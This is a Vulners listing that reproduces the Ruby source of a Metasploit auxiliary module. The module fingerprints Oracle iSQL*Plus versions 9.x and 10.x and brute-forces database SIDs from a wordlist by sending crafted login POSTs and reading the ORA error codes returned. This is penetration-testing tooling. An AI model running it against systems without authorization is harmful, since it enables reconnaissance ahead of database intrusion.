Lucene search
K

Oracle iSQLPlus SID Check

🗓️ 28 Mar 2011 01:20:51Reported by CG <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus login pages. It tests Oracle error responses returned in the HTTP response and attempts to fingerprint the version and automatically select the correct POST request

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'Oracle iSQLPlus SID Check',
      'Description' => %q{
        This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus
        login pages.  It does this by testing Oracle error responses returned in the HTTP response.
        Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.
        Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus.  This module will attempt to
        fingerprint the version and automatically select the correct POST request.
      },
      'References'  =>
      [
        [ 'URL', 'https://blog.carnal0wnage.com/' ],
      ],
      'Author'      => [ 'CG', 'todb' ],
      'License'     => MSF_LICENSE
      )

      register_options([
        Opt::RPORT(5560),
        OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),
        OptString.new('SID', [ false, 'A single SID to test']),
        OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
        OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])
      ])

      deregister_options(
        "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",
        "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",
        "BRUTEFORCE_SPEED" # Slow as heck anyway
      )

  end

  def sid_file
    datastore['SIDFILE']
  end

  def hostport
    [target_host,rport].join(":")
  end

  def uri
    datastore['URI'] || "/isqlplus/"
  end

  def timeout
    (datastore['TIMEOUT'] || 30).to_i
  end

  def msg
    msg = "#{hostport} - Oracle iSQL*Plus -"
  end

  def run_host(ip)
    oracle_ver = get_oracle_version(ip)
    if not check_oracle_version(oracle_ver)
      print_error "#{msg} Unknown Oracle version, skipping."
      return
    end
    begin
      print_status("#{msg} Starting SID check")
      sid_data.each do |sid|
        guess = check_oracle_sid(ip,oracle_ver,sid)
        return if guess and datastore['STOP_ON_SUCCESS']
      end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
        print_error "#{msg} Cannot connect"
      rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e
        print_error e.message
    end
  end

  def get_oracle_version(ip)
    begin
      res = send_request_cgi({
        'version' => '1.1',
        'uri'     => uri,
        'method'  => 'GET',
      }, timeout)
      oracle_ver = nil
      if (res.nil?)
        print_error("#{msg} no response")
      elsif (res.code == 200)
        print_status("#{msg} Received an HTTP #{res.code}")
        oracle_ver = detect_oracle_version(res)
      elsif (res.code == 404)
        print_error("#{msg} Received an HTTP 404, check URIPATH")
      elsif (res.code == 302)
        print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
      else
        print_error("#{msg} Received an HTTP #{res.code}")
      end
      return oracle_ver
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      print_error "#{msg} Cannot connect"
    end
  end

  def detect_oracle_version(res)
    m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
    oracle_ver = nil
    oracle_ver = 10 if m[1] && m[1] =~ /10/
      oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
      if oracle_ver
        print_status("#{msg} Detected Oracle version #{oracle_ver}")
        print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
      else
        print_error("#{msg} Unknown Oracle version detected.")
      end
    return oracle_ver
  end

  def check_oracle_version(ver)
    [9.0,9.1,9.2,10].include? ver
  end

  def build_post_request(ver,sid)
    post_request = nil
    case ver
    when 9.0
      post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"
    when 9.1
      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
    when 9.2
      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
    when 10
      post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"
    end
    return post_request
  end

  def parse_isqlplus_response(res,sid)
    guess = false
    if (res.nil?)
      print_error("#{msg} No response")
    elsif (res.code == 200)
      if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
        if sid.nil? || sid.empty?
          print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")
        else
          print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")
        end
        guess = true
      elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)
        vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")
      elsif res.body =~ /(ORA-12541):/
        print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")
        guess = true
      else
        print_status("#{msg} Received an unknown error") # Should say what the error was
      end
    elsif (res.code == 404)
      print_status("#{msg} Received an HTTP 404, check URIPATH")
    elsif (res.code == 302)
      print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")
    else
      print_status("#{msg} Received an unexpected response: #{res.code}")
    end

    report_isqlplus_service(target_host,res) if res
    return guess
  end

  def report_isqlplus_service(ip,res)
    sname = datastore['SSL'] ? 'https' : 'http'
    report_service(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :name => sname,
      :info => res.headers["Server"].to_s.strip
    )
  end

  def report_oracle_sid(ip,sid)
    report_note(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :type => "oracle.sid",
      :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
      :update => :unique_data
    )
  end

  def sid_data
    if datastore['SID'] and not datastore['SID'].empty?
      [datastore['SID']]
    elsif sid_file and ::File.readable? sid_file
      ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq
    else
      raise ArugmentError, "Cannot read file '#{sid_file}'"
    end
  end

  def check_oracle_sid(ip,oracle_ver,sid)
    post_request = build_post_request(oracle_ver,sid)
    vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."
    res = send_request_cgi({
      'version' => '1.1',
      'uri'     => uri,
      'method'  => 'POST',
      'data'   => post_request,
      'headers' =>
      {
        'Referer' => "http://#{ip}:#{rport}#{uri}"
      }
    }, timeout)
    guess = parse_isqlplus_response(res,sid)
    report_oracle_sid(ip,sid) if guess
    return guess
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.3Low risk
Vulners AI Score0.3
26